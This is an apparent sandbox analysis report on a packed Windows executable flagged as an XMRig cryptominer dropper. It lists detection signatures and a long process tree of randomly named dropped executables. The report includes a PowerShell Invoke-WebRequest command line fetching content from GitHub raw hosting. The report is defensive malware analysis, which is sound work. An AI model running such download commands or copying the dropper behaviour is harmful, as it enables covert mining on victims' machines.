Analysis
- max time kernel
115s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
14/06/2024, 19:02
General
- Target 15ca70b66d443ad16db13fab72d794f4f7859fe6c81f53f81ae62a1be11e0ff6.exe
- Size 1.7MB
- Sample240614-xp91saselc
- SHA256 15ca70b66d443ad16db13fab72d794f4f7859fe6c81f53f81ae62a1be11e0ff6
Score
10/10
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detects executables containing URLs to raw contents of a Github gist 48 IoCs
- UPX dump on OEP (original entry point) 64 IoCs
- XMRig Miner payload 48 IoCs
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Drops file in Windows directory 64 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\15ca70b66d443ad16db13fab72d794f4f7859fe6c81f53f81ae62a1be11e0ff6.exe"C:\Users\Admin\AppData\Local\Temp\15ca70b66d443ad16db13fab72d794f4f7859fe6c81f53f81ae62a1be11e0ff6.exe"1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "836" "2924" "2868" "2928" "0" "0" "2932" "0" "0" "0" "0" "0"3⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\System\dekFayz.exeC:\Windows\System\dekFayz.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\WaSMBHp.exeC:\Windows\System\WaSMBHp.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\hGlZwCN.exeC:\Windows\System\hGlZwCN.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\MHBleQE.exeC:\Windows\System\MHBleQE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\LoLEqyl.exeC:\Windows\System\LoLEqyl.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ytwlPrq.exeC:\Windows\System\ytwlPrq.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vapxwfh.exeC:\Windows\System\vapxwfh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ayLcyMh.exeC:\Windows\System\ayLcyMh.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fgrtKfx.exeC:\Windows\System\fgrtKfx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aafPeZy.exeC:\Windows\System\aafPeZy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XmAibUO.exeC:\Windows\System\XmAibUO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\xbiLSzP.exeC:\Windows\System\xbiLSzP.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ybOctUF.exeC:\Windows\System\ybOctUF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ummmPka.exeC:\Windows\System\ummmPka.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\UTxxzDH.exeC:\Windows\System\UTxxzDH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GJdWVCN.exeC:\Windows\System\GJdWVCN.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mKaqiDk.exeC:\Windows\System\mKaqiDk.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ziGqRsS.exeC:\Windows\System\ziGqRsS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mGKGJjv.exeC:\Windows\System\mGKGJjv.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\yLiJdvj.exeC:\Windows\System\yLiJdvj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\JTqtaXk.exeC:\Windows\System\JTqtaXk.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\OIUAimD.exeC:\Windows\System\OIUAimD.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aGnqBQm.exeC:\Windows\System\aGnqBQm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ywMqHsX.exeC:\Windows\System\ywMqHsX.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wGFQQMu.exeC:\Windows\System\wGFQQMu.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pGWkFmP.exeC:\Windows\System\pGWkFmP.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TRIFEVO.exeC:\Windows\System\TRIFEVO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\zRdjWIB.exeC:\Windows\System\zRdjWIB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\JWnEiLH.exeC:\Windows\System\JWnEiLH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\zIeGbca.exeC:\Windows\System\zIeGbca.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\HFtCfxV.exeC:\Windows\System\HFtCfxV.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sCBvpsg.exeC:\Windows\System\sCBvpsg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\IJGzTPM.exeC:\Windows\System\IJGzTPM.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pjAYEpB.exeC:\Windows\System\pjAYEpB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\cXMdQND.exeC:\Windows\System\cXMdQND.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TgjMzCg.exeC:\Windows\System\TgjMzCg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sVKlkFy.exeC:\Windows\System\sVKlkFy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\UIdOQVF.exeC:\Windows\System\UIdOQVF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\NMsEiji.exeC:\Windows\System\NMsEiji.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mZApmKJ.exeC:\Windows\System\mZApmKJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\qtnlkHL.exeC:\Windows\System\qtnlkHL.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ifdjeKE.exeC:\Windows\System\ifdjeKE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\IzNMtHC.exeC:\Windows\System\IzNMtHC.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\yHvyUpJ.exeC:\Windows\System\yHvyUpJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ZrLCwWl.exeC:\Windows\System\ZrLCwWl.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\FEBDcIm.exeC:\Windows\System\FEBDcIm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\AhYStJy.exeC:\Windows\System\AhYStJy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\dywivGJ.exeC:\Windows\System\dywivGJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\NCuxfsF.exeC:\Windows\System\NCuxfsF.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mvgAMak.exeC:\Windows\System\mvgAMak.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\OYJUGKc.exeC:\Windows\System\OYJUGKc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\JNqNXxo.exeC:\Windows\System\JNqNXxo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sQqvxeE.exeC:\Windows\System\sQqvxeE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\DoylLfV.exeC:\Windows\System\DoylLfV.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\beWuCxU.exeC:\Windows\System\beWuCxU.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aWcYzbp.exeC:\Windows\System\aWcYzbp.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bbvzrQb.exeC:\Windows\System\bbvzrQb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\iuckmmz.exeC:\Windows\System\iuckmmz.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rhYKiKB.exeC:\Windows\System\rhYKiKB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\glLdtNv.exeC:\Windows\System\glLdtNv.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PCgwKkO.exeC:\Windows\System\PCgwKkO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\QXhIKRE.exeC:\Windows\System\QXhIKRE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ftAEUYb.exeC:\Windows\System\ftAEUYb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\YeRXevo.exeC:\Windows\System\YeRXevo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\TeEPFpO.exeC:\Windows\System\TeEPFpO.exe2⤵
-
-
C:\Windows\System\oibFIbu.exeC:\Windows\System\oibFIbu.exe2⤵
-
-
C:\Windows\System\oFPVJLZ.exeC:\Windows\System\oFPVJLZ.exe2⤵
-
-
C:\Windows\System\tfNQZlE.exeC:\Windows\System\tfNQZlE.exe2⤵
-
-
C:\Windows\System\lHctifv.exeC:\Windows\System\lHctifv.exe2⤵
-
-
C:\Windows\System\vrtIrzQ.exeC:\Windows\System\vrtIrzQ.exe2⤵
-
-
C:\Windows\System\UUWrgnG.exeC:\Windows\System\UUWrgnG.exe2⤵
-
-
C:\Windows\System\VrGPCrk.exeC:\Windows\System\VrGPCrk.exe2⤵
-
-
C:\Windows\System\pKXiZKB.exeC:\Windows\System\pKXiZKB.exe2⤵
-
-
C:\Windows\System\sTRENVr.exeC:\Windows\System\sTRENVr.exe2⤵
-
-
C:\Windows\System\gBoceJq.exeC:\Windows\System\gBoceJq.exe2⤵
-
-
C:\Windows\System\HdTNmEO.exeC:\Windows\System\HdTNmEO.exe2⤵
-
-
C:\Windows\System\ExBAVMa.exeC:\Windows\System\ExBAVMa.exe2⤵
-
-
C:\Windows\System\JoSHmrg.exeC:\Windows\System\JoSHmrg.exe2⤵
-
-
C:\Windows\System\ekDTJPb.exeC:\Windows\System\ekDTJPb.exe2⤵
-
-
C:\Windows\System\RZNDIHD.exeC:\Windows\System\RZNDIHD.exe2⤵
-
-
C:\Windows\System\eXQPfIQ.exeC:\Windows\System\eXQPfIQ.exe2⤵
-
-
C:\Windows\System\LAMnaNU.exeC:\Windows\System\LAMnaNU.exe2⤵
-
-
C:\Windows\System\BdDPPen.exeC:\Windows\System\BdDPPen.exe2⤵
-
-
C:\Windows\System\yBpFDDu.exeC:\Windows\System\yBpFDDu.exe2⤵
-
-
C:\Windows\System\AAzWvFW.exeC:\Windows\System\AAzWvFW.exe2⤵
-
-
C:\Windows\System\IxWtvAm.exeC:\Windows\System\IxWtvAm.exe2⤵
-
-
C:\Windows\System\iRmjAQY.exeC:\Windows\System\iRmjAQY.exe2⤵
-
-
C:\Windows\System\HXsFdBb.exeC:\Windows\System\HXsFdBb.exe2⤵
-
-
C:\Windows\System\tpLhOLI.exeC:\Windows\System\tpLhOLI.exe2⤵
-
-
C:\Windows\System\OqGLbcK.exeC:\Windows\System\OqGLbcK.exe2⤵
-
-
C:\Windows\System\qLmpSMN.exeC:\Windows\System\qLmpSMN.exe2⤵
-
-
C:\Windows\System\XgrURgS.exeC:\Windows\System\XgrURgS.exe2⤵
-
-
C:\Windows\System\ZjPwdEu.exeC:\Windows\System\ZjPwdEu.exe2⤵
-
-
C:\Windows\System\MLPqtzC.exeC:\Windows\System\MLPqtzC.exe2⤵
-
-
C:\Windows\System\HvQTCLO.exeC:\Windows\System\HvQTCLO.exe2⤵
-
-
C:\Windows\System\LXpnapr.exeC:\Windows\System\LXpnapr.exe2⤵
-
-
C:\Windows\System\HfuEQsD.exeC:\Windows\System\HfuEQsD.exe2⤵
-
-
C:\Windows\System\xiphldj.exeC:\Windows\System\xiphldj.exe2⤵
-
-
C:\Windows\System\RcuXsaX.exeC:\Windows\System\RcuXsaX.exe2⤵
-
-
C:\Windows\System\suqaDJc.exeC:\Windows\System\suqaDJc.exe2⤵
-
-
C:\Windows\System\ypxvEBn.exeC:\Windows\System\ypxvEBn.exe2⤵
-
-
C:\Windows\System\yzyDeLT.exeC:\Windows\System\yzyDeLT.exe2⤵
-
-
C:\Windows\System\heyPKkJ.exeC:\Windows\System\heyPKkJ.exe2⤵
-
-
C:\Windows\System\wYjLdpS.exeC:\Windows\System\wYjLdpS.exe2⤵
-
-
C:\Windows\System\vXIuvPF.exeC:\Windows\System\vXIuvPF.exe2⤵
-
-
C:\Windows\System\IRSFyIE.exeC:\Windows\System\IRSFyIE.exe2⤵
-
-
C:\Windows\System\YzIDspO.exeC:\Windows\System\YzIDspO.exe2⤵
-
-
C:\Windows\System\TFVpfbS.exeC:\Windows\System\TFVpfbS.exe2⤵
-
-
C:\Windows\System\dRWhPeY.exeC:\Windows\System\dRWhPeY.exe2⤵
-
-
C:\Windows\System\PFWcyFP.exeC:\Windows\System\PFWcyFP.exe2⤵
-
-
C:\Windows\System\HABjYXr.exeC:\Windows\System\HABjYXr.exe2⤵
-
-
C:\Windows\System\vOuordr.exeC:\Windows\System\vOuordr.exe2⤵
-
-
C:\Windows\System\NMTvGQJ.exeC:\Windows\System\NMTvGQJ.exe2⤵
-
-
C:\Windows\System\QsKFPaU.exeC:\Windows\System\QsKFPaU.exe2⤵
-
-
C:\Windows\System\fOCcONw.exeC:\Windows\System\fOCcONw.exe2⤵
-
-
C:\Windows\System\ytMrDdT.exeC:\Windows\System\ytMrDdT.exe2⤵
-
-
C:\Windows\System\OlqhXxR.exeC:\Windows\System\OlqhXxR.exe2⤵
-
-
C:\Windows\System\Wjgsrso.exeC:\Windows\System\Wjgsrso.exe2⤵
-
-
C:\Windows\System\ZAaDJFG.exeC:\Windows\System\ZAaDJFG.exe2⤵
-
-
C:\Windows\System\ygQipvX.exeC:\Windows\System\ygQipvX.exe2⤵
-
-
C:\Windows\System\iFRndfE.exeC:\Windows\System\iFRndfE.exe2⤵
-
-
C:\Windows\System\PfPEcpl.exeC:\Windows\System\PfPEcpl.exe2⤵
-
-
C:\Windows\System\aIZoheH.exeC:\Windows\System\aIZoheH.exe2⤵
-
-
C:\Windows\System\kDvuzaq.exeC:\Windows\System\kDvuzaq.exe2⤵
-
-
C:\Windows\System\FaMbDBW.exeC:\Windows\System\FaMbDBW.exe2⤵
-
-
C:\Windows\System\wJgszpP.exeC:\Windows\System\wJgszpP.exe2⤵
-
-
C:\Windows\System\XHajisx.exeC:\Windows\System\XHajisx.exe2⤵
-
-
C:\Windows\System\zjgJXlu.exeC:\Windows\System\zjgJXlu.exe2⤵
-
-
C:\Windows\System\jeASQIh.exeC:\Windows\System\jeASQIh.exe2⤵
-
-
C:\Windows\System\OLUkAuV.exeC:\Windows\System\OLUkAuV.exe2⤵
-
-
C:\Windows\System\jVFGMcD.exeC:\Windows\System\jVFGMcD.exe2⤵
-
-
C:\Windows\System\IrQAPep.exeC:\Windows\System\IrQAPep.exe2⤵
-
-
C:\Windows\System\ivOoDUH.exeC:\Windows\System\ivOoDUH.exe2⤵
-
-
C:\Windows\System\JzlvKMS.exeC:\Windows\System\JzlvKMS.exe2⤵
-
-
C:\Windows\System\OVlKEtr.exeC:\Windows\System\OVlKEtr.exe2⤵
-
-
C:\Windows\System\RZxBLey.exeC:\Windows\System\RZxBLey.exe2⤵
-
-
C:\Windows\System\ZUCsXfu.exeC:\Windows\System\ZUCsXfu.exe2⤵
-
-
C:\Windows\System\xpIjVUq.exeC:\Windows\System\xpIjVUq.exe2⤵
-
-
C:\Windows\System\AdKpSFm.exeC:\Windows\System\AdKpSFm.exe2⤵
-
-
C:\Windows\System\qiykVSN.exeC:\Windows\System\qiykVSN.exe2⤵
-
-
C:\Windows\System\WpsVCEq.exeC:\Windows\System\WpsVCEq.exe2⤵
-
-
C:\Windows\System\GeYYcoP.exeC:\Windows\System\GeYYcoP.exe2⤵
-
-
C:\Windows\System\eZojqLw.exeC:\Windows\System\eZojqLw.exe2⤵
-
-
C:\Windows\System\zZJudfY.exeC:\Windows\System\zZJudfY.exe2⤵
-
-
C:\Windows\System\biQnkSo.exeC:\Windows\System\biQnkSo.exe2⤵
-
-
C:\Windows\System\TcyfIpS.exeC:\Windows\System\TcyfIpS.exe2⤵
-
-
C:\Windows\System\MqgjudZ.exeC:\Windows\System\MqgjudZ.exe2⤵
-
-
C:\Windows\System\wuuctxq.exeC:\Windows\System\wuuctxq.exe2⤵
-
-
C:\Windows\System\DNVsdiv.exeC:\Windows\System\DNVsdiv.exe2⤵
-
-
C:\Windows\System\nSDzpXp.exeC:\Windows\System\nSDzpXp.exe2⤵
-
-
C:\Windows\System\TrbJDpI.exeC:\Windows\System\TrbJDpI.exe2⤵
-
-
C:\Windows\System\UPZvVsr.exeC:\Windows\System\UPZvVsr.exe2⤵
-
-
C:\Windows\System\DXbhcXb.exeC:\Windows\System\DXbhcXb.exe2⤵
-
-
C:\Windows\System\PEXzCBU.exeC:\Windows\System\PEXzCBU.exe2⤵
-
-
C:\Windows\System\FHaTiVj.exeC:\Windows\System\FHaTiVj.exe2⤵
-
-
C:\Windows\System\pNkFrKg.exeC:\Windows\System\pNkFrKg.exe2⤵
-
-
C:\Windows\System\cwrWZkg.exeC:\Windows\System\cwrWZkg.exe2⤵
-
-
C:\Windows\System\bpPKqLv.exeC:\Windows\System\bpPKqLv.exe2⤵
-
-
C:\Windows\System\sThMaak.exeC:\Windows\System\sThMaak.exe2⤵
-
-
C:\Windows\System\PwpVxxU.exeC:\Windows\System\PwpVxxU.exe2⤵
-
-
C:\Windows\System\kMdYliT.exeC:\Windows\System\kMdYliT.exe2⤵
-
-
C:\Windows\System\lGjPQLQ.exeC:\Windows\System\lGjPQLQ.exe2⤵
-
-
C:\Windows\System\FPREJtr.exeC:\Windows\System\FPREJtr.exe2⤵
-
-
C:\Windows\System\UvMULtJ.exeC:\Windows\System\UvMULtJ.exe2⤵
-
-
C:\Windows\System\baJvCDG.exeC:\Windows\System\baJvCDG.exe2⤵
-
-
C:\Windows\System\dBRhTrS.exeC:\Windows\System\dBRhTrS.exe2⤵
-
-
C:\Windows\System\GiPdlmI.exeC:\Windows\System\GiPdlmI.exe2⤵
-
-
C:\Windows\System\ZpyDRwI.exeC:\Windows\System\ZpyDRwI.exe2⤵
-
-
C:\Windows\System\BMInhEQ.exeC:\Windows\System\BMInhEQ.exe2⤵
-
-
C:\Windows\System\ZgrFmJO.exeC:\Windows\System\ZgrFmJO.exe2⤵
-
-
C:\Windows\System\QcbZJPl.exeC:\Windows\System\QcbZJPl.exe2⤵
-
-
C:\Windows\System\FxJnuZT.exeC:\Windows\System\FxJnuZT.exe2⤵
-
-
C:\Windows\System\cvGNnJh.exeC:\Windows\System\cvGNnJh.exe2⤵
-
-
C:\Windows\System\KeupQyM.exeC:\Windows\System\KeupQyM.exe2⤵
-
-
C:\Windows\System\Uzstreg.exeC:\Windows\System\Uzstreg.exe2⤵
-
-
C:\Windows\System\NLtQhDP.exeC:\Windows\System\NLtQhDP.exe2⤵
-
-
C:\Windows\System\gBOeRAm.exeC:\Windows\System\gBOeRAm.exe2⤵
-
-
C:\Windows\System\Wjlbtuu.exeC:\Windows\System\Wjlbtuu.exe2⤵
-
-
C:\Windows\System\AdEPYPz.exeC:\Windows\System\AdEPYPz.exe2⤵
-
-
C:\Windows\System\RYBVaZf.exeC:\Windows\System\RYBVaZf.exe2⤵
-
-
C:\Windows\System\BXSoqnp.exeC:\Windows\System\BXSoqnp.exe2⤵
-
-
C:\Windows\System\LJYQiyI.exeC:\Windows\System\LJYQiyI.exe2⤵
-
-
C:\Windows\System\tdoIjvL.exeC:\Windows\System\tdoIjvL.exe2⤵
-
-
C:\Windows\System\YjtPfqb.exeC:\Windows\System\YjtPfqb.exe2⤵
-
-
C:\Windows\System\PnzrjDJ.exeC:\Windows\System\PnzrjDJ.exe2⤵
-
-
C:\Windows\System\blaNIgr.exeC:\Windows\System\blaNIgr.exe2⤵
-
-
C:\Windows\System\ZkvLJVM.exeC:\Windows\System\ZkvLJVM.exe2⤵
-
-
C:\Windows\System\YoFzJku.exeC:\Windows\System\YoFzJku.exe2⤵
-
-
C:\Windows\System\yahIelJ.exeC:\Windows\System\yahIelJ.exe2⤵
-
-
C:\Windows\System\qblwkdu.exeC:\Windows\System\qblwkdu.exe2⤵
-
-
C:\Windows\System\JVPWrGX.exeC:\Windows\System\JVPWrGX.exe2⤵
-
-
C:\Windows\System\aeOwvHy.exeC:\Windows\System\aeOwvHy.exe2⤵
-
-
C:\Windows\System\xhyIDpt.exeC:\Windows\System\xhyIDpt.exe2⤵
-
-
C:\Windows\System\QCmdVAj.exeC:\Windows\System\QCmdVAj.exe2⤵
-
-
C:\Windows\System\FKwRMvE.exeC:\Windows\System\FKwRMvE.exe2⤵
-
-
C:\Windows\System\MWdQcNS.exeC:\Windows\System\MWdQcNS.exe2⤵
-
-
C:\Windows\System\ElIViwh.exeC:\Windows\System\ElIViwh.exe2⤵
-
-
C:\Windows\System\ZPQXFyZ.exeC:\Windows\System\ZPQXFyZ.exe2⤵
-
-
C:\Windows\System\ihXIHEZ.exeC:\Windows\System\ihXIHEZ.exe2⤵
-
-
C:\Windows\System\jIlADfa.exeC:\Windows\System\jIlADfa.exe2⤵
-
-
C:\Windows\System\rUXtmIH.exeC:\Windows\System\rUXtmIH.exe2⤵
-
-
C:\Windows\System\vhnwSjE.exeC:\Windows\System\vhnwSjE.exe2⤵
-
-
C:\Windows\System\vfYwAIg.exeC:\Windows\System\vfYwAIg.exe2⤵
-
-
C:\Windows\System\kmAqYFd.exeC:\Windows\System\kmAqYFd.exe2⤵
-
-
C:\Windows\System\XSENmyg.exeC:\Windows\System\XSENmyg.exe2⤵
-
-
C:\Windows\System\YuExGei.exeC:\Windows\System\YuExGei.exe2⤵
-
-
C:\Windows\System\UtjWfNp.exeC:\Windows\System\UtjWfNp.exe2⤵
-
-
C:\Windows\System\pDGjMrz.exeC:\Windows\System\pDGjMrz.exe2⤵
-
-
C:\Windows\System\HhakRCW.exeC:\Windows\System\HhakRCW.exe2⤵
-
-
C:\Windows\System\nptRowS.exeC:\Windows\System\nptRowS.exe2⤵
-
-
C:\Windows\System\nLvpjHp.exeC:\Windows\System\nLvpjHp.exe2⤵
-
-
C:\Windows\System\ILGkCkK.exeC:\Windows\System\ILGkCkK.exe2⤵
-
-
C:\Windows\System\McMxltO.exeC:\Windows\System\McMxltO.exe2⤵
-
-
C:\Windows\System\tBmYGUx.exeC:\Windows\System\tBmYGUx.exe2⤵
-
-
C:\Windows\System\FUGeFrk.exeC:\Windows\System\FUGeFrk.exe2⤵
-
-
C:\Windows\System\hYSTTDQ.exeC:\Windows\System\hYSTTDQ.exe2⤵
-
-
C:\Windows\System\XByJdEy.exeC:\Windows\System\XByJdEy.exe2⤵
-
-
C:\Windows\System\jDQqPGh.exeC:\Windows\System\jDQqPGh.exe2⤵
-
-
C:\Windows\System\fwuHviY.exeC:\Windows\System\fwuHviY.exe2⤵
-
-
C:\Windows\System\pWrLhUq.exeC:\Windows\System\pWrLhUq.exe2⤵
-
-
C:\Windows\System\frlnark.exeC:\Windows\System\frlnark.exe2⤵
-
-
C:\Windows\System\YKxyacQ.exeC:\Windows\System\YKxyacQ.exe2⤵
-
-
C:\Windows\System\TDExoae.exeC:\Windows\System\TDExoae.exe2⤵
-
-
C:\Windows\System\aPiGtkU.exeC:\Windows\System\aPiGtkU.exe2⤵
-
-
C:\Windows\System\HxKdFuD.exeC:\Windows\System\HxKdFuD.exe2⤵
-
-
C:\Windows\System\MbVrMtI.exeC:\Windows\System\MbVrMtI.exe2⤵
-
-
C:\Windows\System\enAWRIZ.exeC:\Windows\System\enAWRIZ.exe2⤵
-
-
C:\Windows\System\BjduWzP.exeC:\Windows\System\BjduWzP.exe2⤵
-
-
C:\Windows\System\wIWaCxA.exeC:\Windows\System\wIWaCxA.exe2⤵
-
-
C:\Windows\System\qXzCMvZ.exeC:\Windows\System\qXzCMvZ.exe2⤵
-
-
C:\Windows\System\RuqnAKE.exeC:\Windows\System\RuqnAKE.exe2⤵
-
-
C:\Windows\System\diPejJS.exeC:\Windows\System\diPejJS.exe2⤵
-
-
C:\Windows\System\poCZwrc.exeC:\Windows\System\poCZwrc.exe2⤵
-
-
C:\Windows\System\yIpYBFz.exeC:\Windows\System\yIpYBFz.exe2⤵
-
-
C:\Windows\System\LmzhALG.exeC:\Windows\System\LmzhALG.exe2⤵
-
-
C:\Windows\System\RYEdtxy.exeC:\Windows\System\RYEdtxy.exe2⤵
-
-
C:\Windows\System\DeHApfx.exeC:\Windows\System\DeHApfx.exe2⤵
-
-
C:\Windows\System\fWEnuVZ.exeC:\Windows\System\fWEnuVZ.exe2⤵
-
-
C:\Windows\System\SUvWazJ.exeC:\Windows\System\SUvWazJ.exe2⤵
-
-
C:\Windows\System\DxwKpkp.exeC:\Windows\System\DxwKpkp.exe2⤵
-
-
C:\Windows\System\sFUJTCL.exeC:\Windows\System\sFUJTCL.exe2⤵
-
-
C:\Windows\System\jScYgwY.exeC:\Windows\System\jScYgwY.exe2⤵
-
-
C:\Windows\System\cBXIYNR.exeC:\Windows\System\cBXIYNR.exe2⤵
-
-
C:\Windows\System\NyAfavU.exeC:\Windows\System\NyAfavU.exe2⤵
-
-
C:\Windows\System\SLryXso.exeC:\Windows\System\SLryXso.exe2⤵
-
-
C:\Windows\System\FambdFh.exeC:\Windows\System\FambdFh.exe2⤵
-
-
C:\Windows\System\yCxCNqi.exeC:\Windows\System\yCxCNqi.exe2⤵
-
-
C:\Windows\System\rjHWgUq.exeC:\Windows\System\rjHWgUq.exe2⤵
-
-
C:\Windows\System\NMLIvhC.exeC:\Windows\System\NMLIvhC.exe2⤵
-
-
C:\Windows\System\fwCVyKm.exeC:\Windows\System\fwCVyKm.exe2⤵
-
-
C:\Windows\System\UyywTzM.exeC:\Windows\System\UyywTzM.exe2⤵
-
-
C:\Windows\System\vISEiXv.exeC:\Windows\System\vISEiXv.exe2⤵
-
-
C:\Windows\System\XETvCYi.exeC:\Windows\System\XETvCYi.exe2⤵
-
-
C:\Windows\System\evsYtDO.exeC:\Windows\System\evsYtDO.exe2⤵
-
-
C:\Windows\System\xnKdDMK.exeC:\Windows\System\xnKdDMK.exe2⤵
-
-
C:\Windows\System\lZWSsUi.exeC:\Windows\System\lZWSsUi.exe2⤵
-
-
C:\Windows\System\lLGvRTB.exeC:\Windows\System\lLGvRTB.exe2⤵
-
-
C:\Windows\System\JuZxhqI.exeC:\Windows\System\JuZxhqI.exe2⤵
-
-
C:\Windows\System\TQUjepf.exeC:\Windows\System\TQUjepf.exe2⤵
-
-
C:\Windows\System\uYtctNs.exeC:\Windows\System\uYtctNs.exe2⤵
-
-
C:\Windows\System\wvDFaHe.exeC:\Windows\System\wvDFaHe.exe2⤵
-
-
C:\Windows\System\jZtqgKt.exeC:\Windows\System\jZtqgKt.exe2⤵
-
-
C:\Windows\System\QhszqcH.exeC:\Windows\System\QhszqcH.exe2⤵
-
-
C:\Windows\System\yQqdoAp.exeC:\Windows\System\yQqdoAp.exe2⤵
-
-
C:\Windows\System\aoiHjjl.exeC:\Windows\System\aoiHjjl.exe2⤵
-
-
C:\Windows\System\wVHIStM.exeC:\Windows\System\wVHIStM.exe2⤵
-
-
C:\Windows\System\PSWhQGM.exeC:\Windows\System\PSWhQGM.exe2⤵
-
-
C:\Windows\System\HFEkihG.exeC:\Windows\System\HFEkihG.exe2⤵
-
-
C:\Windows\System\EIlbqoO.exeC:\Windows\System\EIlbqoO.exe2⤵
-
-
C:\Windows\System\YRQqIqG.exeC:\Windows\System\YRQqIqG.exe2⤵
-
-
C:\Windows\System\bEBpwgT.exeC:\Windows\System\bEBpwgT.exe2⤵
-
-
C:\Windows\System\PxnuQFd.exeC:\Windows\System\PxnuQFd.exe2⤵
-
-
C:\Windows\System\YGnFdGr.exeC:\Windows\System\YGnFdGr.exe2⤵
-
-
C:\Windows\System\WiJNmjA.exeC:\Windows\System\WiJNmjA.exe2⤵
-
-
C:\Windows\System\xWBppok.exeC:\Windows\System\xWBppok.exe2⤵
-
-
C:\Windows\System\lHshUhf.exeC:\Windows\System\lHshUhf.exe2⤵
-
-
C:\Windows\System\yAfgnsU.exeC:\Windows\System\yAfgnsU.exe2⤵
-
-
C:\Windows\System\EYImDNq.exeC:\Windows\System\EYImDNq.exe2⤵
-
-
C:\Windows\System\RwJgDyR.exeC:\Windows\System\RwJgDyR.exe2⤵
-
-
C:\Windows\System\pPUhqkV.exeC:\Windows\System\pPUhqkV.exe2⤵
-
-
C:\Windows\System\YNjuayS.exeC:\Windows\System\YNjuayS.exe2⤵
-
-
C:\Windows\System\TejLWFs.exeC:\Windows\System\TejLWFs.exe2⤵
-
-
C:\Windows\System\ayaCqur.exeC:\Windows\System\ayaCqur.exe2⤵
-
-
